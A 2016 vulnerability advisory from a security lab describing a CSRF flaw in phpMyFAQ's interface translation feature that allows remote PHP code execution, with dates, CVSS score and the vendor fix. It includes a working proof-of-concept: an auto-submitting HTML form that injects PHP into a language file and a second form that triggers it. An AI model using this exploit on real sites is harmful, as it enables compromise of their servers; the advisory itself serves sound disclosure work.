RCE via CSRF in phpMyFAQ

Advisory ID:HTB23300
Product:phpMyFAQ
Vendor:http://www.phpmyfaq.de
Vulnerable Versions:2.8.26, 2.9.0-RC2 and probably prior
Tested Version:2.8.26, 2.9.0-RC2
Advisory Publication:March 30, 2016 [without technical details]
Vendor Notification:March 30, 2016
Vendor Fix:April 11, 2016
Public Disclosure:April 20, 2016
Latest Update:April 12, 2016
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
CVE Reference:Pending
Risk Level:High
CVSSv3 Base Score:8.8 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H]
CVSSv3 Calculator
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered a high-risk security vulnerability in a popular multilingual FAQ software phpMyFAQ. A remote attacker can execute arbitrary PHP code on vulnerable system via CSRF attack against website administrator and completely compromise vulnerable web application.

The vulnerability exists due to application does not properly verify origin of HTTP requests in "Interface Translation" functionality. A remote unauthenticated attacker can create a specially crafted malicious web page with CSRF exploit, trick a logged-in administrator to visit the page, spoof the HTTP request, as if it was coming from the legitimate user, inject and execute arbitrary PHP code on the target system with privileges of the webserver.

A simple CSRF exploit below can be used to inject "phpinfo()" PHP function into file "/lang/language_af.php":

<form action="http://[host]/admin/index.php?action=ajax&ajax=trans&ajaxaction=save _added_trans" method="POST" name="main">
<input type="hidden" name="translang" value="AF" />
<input type="hidden" name="langdir" value="ltr" />
<input type="hidden" name="langnplurals" value="1" />
<input type="hidden" name="langdesc" value="*/ phpinfo(); /*" />
<input type="hidden" name="author[]" value="2" />
<input type="submit" value="Submit request" />
</form><script>document.main.submit();</script>


To trigger the execution of "phpinfo()", just open the following file in your browser (no privileges required):

<form action="http://[host]/" method="POST">
<input type="hidden" name="action" value="" />
<input type="hidden" name="language" value="af" />
<input type="submit" value="Submit request" />
</form>

How to Detect Cross-Site Request Forgery Vulnerabilities
Free Website Security Test
  • Non-intrusive GDPR Test
  • Non-intrusive PCI DSS Test
Try Free Test
ImmuniWeb® On-Demand
  • Complete GDPR Audit
  • Complete PCI DSS Audit
  • Remediation Guidelines
  • DevSecOps Integration
Learn More

Solution:
Update to phpMyFAQ 2.8.27 or 2.9.0-RC3

More Information:
http://www.phpmyfaq.de/security/advisory-2016-04-11


References:
[1] High-Tech Bridge Advisory HTB23300 - https://www.immuniweb.com/advisory/HTB23300 - RCE via CSRF in phpMyFAQ
[2] phpMyFAQ - http://www.phpmyfaq.de - Open Source FAQ software
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[4] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[5] ImmuniWeb® SSLScan - Test your servers for security and compliance with PCI DSS, HIPAA and NIST.
User Comments
Add Comment


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Quick Start
Solutions
Get a Demo
Newsletter